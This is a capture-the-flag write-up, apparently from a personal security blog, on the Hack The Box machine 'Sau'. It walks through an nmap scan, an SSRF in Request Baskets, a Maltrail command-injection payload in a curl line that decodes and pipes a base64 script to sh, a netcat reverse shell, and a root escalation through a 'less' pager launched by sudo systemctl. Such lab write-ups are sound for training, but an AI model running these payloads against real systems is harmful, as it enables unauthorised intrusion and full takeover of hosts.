Hack The Box Intro to Red Team Track

Hack The Box: Sau Walkthrough

Author
Dulanjana Fernando
Sep 10, 2026  •  7 min read  •  5 views
Hack The Box: Sau Walkthrough

Sau is an Easy difficulty HackTheBox machine that hosts a vulnerable version of the Request Baskets application on port 55555. Initial foothold involves exploiting a Server-Side Request Forgery (SSRF) vulnerability (CVE-2023-27163) to reach an internal Maltrail service running on port 80. Leveraging an OS command injection flaw in Maltrail yields initial shell access as the puma user. Privilege escalation is achieved by executing a privileged service and using a terminal pager breakout (!sh) through less to drop directly into a root shell.

1. Initial Enumeration and Service Discovery

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O sau.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O sau.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-09 07:21 -0400
Nmap scan report for sau.htb (10.129.229.26)
Host is up (0.68s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     http    Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Tue, 08 Sep 2026 11:26:22 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Tue, 08 Sep 2026 11:25:58 GMT
|     Content-Length: 27
|     href="/web">Found.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Tue, 08 Sep 2026 11:26:00 GMT
|     Content-Length: 0
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.99%I=7%D=9/9%Time=6AA1415C%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Tue,\x2008\x20Sep\x202
SF:026\x2011:25:58\x20GMT\r\nContent-Length:\x2027\r\n\r\n< a\x20href=\"/we
SF:b\">Found\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Tue,\x2008\x20Sep\x202
SF:026\x2011:26:00\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20B
SF:ad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nDate:\x20Tue,\x2008\x20Sep\x202026\x20
SF:11:26:22\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20na
SF:me;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-
SF:_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,
SF:A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host\
SF:x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Hos
SF:t\x20header");
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.41 seconds

Based on the scan results, the ports 22, 80 and 55555 are open.

- Port 22 - OpenSSH 8.2p1 is running
- Port 80 - filtered http (this means some service is listening on the port, but network-level filtering is blocking access)
- Port 55555 - Golang net/http server is running and hosts a web application named "Request Baskets", and the version number is visible at the bottom of the page.

Article Image
Request Baskets application on port 55555

2. Initial Access - Request Baskets SSRF (CVE-2023-27163) & Maltrail Command Injection

The web application allows visitors to perform actions, including creating a new basket without logging in.

2.1 SSRF Exploitation (CVE-2023-27163)

A quick Google search revealed that Request Baskets version 1.2.1 has a known SSRF vulnerability (CVE-2023-27163: Request Baskets SSRF Vulnerability) in the /api/baskets/{name} component. This allows attackers to access network resources and sensitive information via crafted API requests.

This means even though I can not access the service on port 80, the Request Baskets application potentially can access it internally.

I created a basket in the Request Baskets application, and I was able to change the "Forward URL" from the basket settings to proxy the response from port 80.

Article Image
Forward URL Option in Basket Settings

After updating the settings, I was able to view the service running on port 80 by visiting the basket URL http://sau.htb:55555/yzbc55s.

This revealed that the service running on port 80 is "Maltrail".

2.2 Maltrail OS Command Injection (CVE-2025-34073)

The service on port 80 revealed the service name and the version number of the service. It was running Maltrail (v0.53).
I was able to find an OS Command Injection (CVE-2025-34073) vulnerability in Maltrail (v0.53), and this can help me to get Remote Command Execution(RCE) on the target machine.

Article Image
Maltrail OS Command Injection (CVE-2025-34073)

I was able to find a Hummingbird-Maltrail-RCE-PoC that allowed me to gain RCE.

But when reading the script, I noticed that it is attempting to access the /login endpoint on the target server, but we only have access to the index page via SSRF through the basket.
So I updated the basket settings to proxy the request to http://127.0.01:80/login and updated the script slightly.

# POC script update
Change this line
cmd = f"curl '{target_url}/login' --data 'username=;`echo+\"{byte_payload}\"+|+base64+-d+|+sh`'"

To
cmd = f"curl '{target_url}' --data 'username=;`echo+\"{byte_payload}\"+|+base64+-d+|+sh`'"

After setting up a listener for the reverse shell, I was able to get RCE by executing the script. Since I got the reverse shell as user puma, I was able to retrieve the user flag right away.

# Initial Foothold and User Flag Retrieval
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.129.229.26] 40500
/bin/sh: 0: can't access tty; job control turned off
$ whoami
puma
$ cd /home/puma
$ ls
user.txt
$ cat user.txt  

3. Privilege Escalation - Systemctl Pager Breakout

After retrieving the user flag, the only remaining step was to escalate privileges as root.

Running sudo -l as user puma returned detailes about a service that use puma can run with sudo privileges.

puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

User puma can run /usr/bin/systemctl status trail.service with sudo privileges without a password.
By running cat /etc/systemd/system/trail.service, I was able to access the service configuration, and this confirmed that the service is responsible for running the Maltrail server. The service is running as puma, so modifying the service does not present a privilege escalation opportunity.

I executed the allowed command with sudo privileges sudo /usr/bin/systemctl status trail.service. But instead of returning to the shell after the command finished executing, it remained open. This happens because systemctl may send long output through a terminal pager such as less.

Using less to scroll through text is completely harmless, but less has more functionality than simply scrolling through text. One such functionality is !.

Entering !sh inside less asks the pager to launch a shell. Since this service is executed with sudo privileges, the newly launched shell inherits the elevated privileges, which are root privileges.

sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Tue 2026-09-08 11:15:30 UTC; 2h 44min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 878 (python3)
      Tasks: 30 (limit: 4662)

Sep 08 13:59:35 sau sudo[41824]: pam_unix(sudo:session): session opened for use>
Sep 08 13:59:55 sau sudo[41827]:     puma : TTY=pts/1 ; PWD=/home/puma ; USER=r>
Sep 08 13:59:55 sau sudo[41827]: pam_unix(sudo:session): session opened for use>
!sh
# whoami
root
# cat /root/root.txt

Since I now have root privileges, I was able to retrieve the root flag.

Congrats! We found both flags!

HTB Machine Completion

Tags:
Intro to Red Team Track SSRF OS Command Injection

You might also like...

Hack The Box: Jerry Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Jerry Walkthrough

Jerry is a HackTheBox Easy difficulty machine that hosts an Apache Tomcat/7.0.88...

Read More
Hack The Box: Silentium Walkthrough
Hack The Box SSH
Hack The Box: Silentium Walkthrough

Silentium is a HackTheBox Easy difficulty machine that hosts a Flowise AI stagin...

Read More
Hack The Box: Cronos Walkthrough
Hack The Box RCE
Hack The Box: Cronos Walkthrough

Cronos is a HackTheBox Medium difficulty machine that hosts an admin panel that ...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.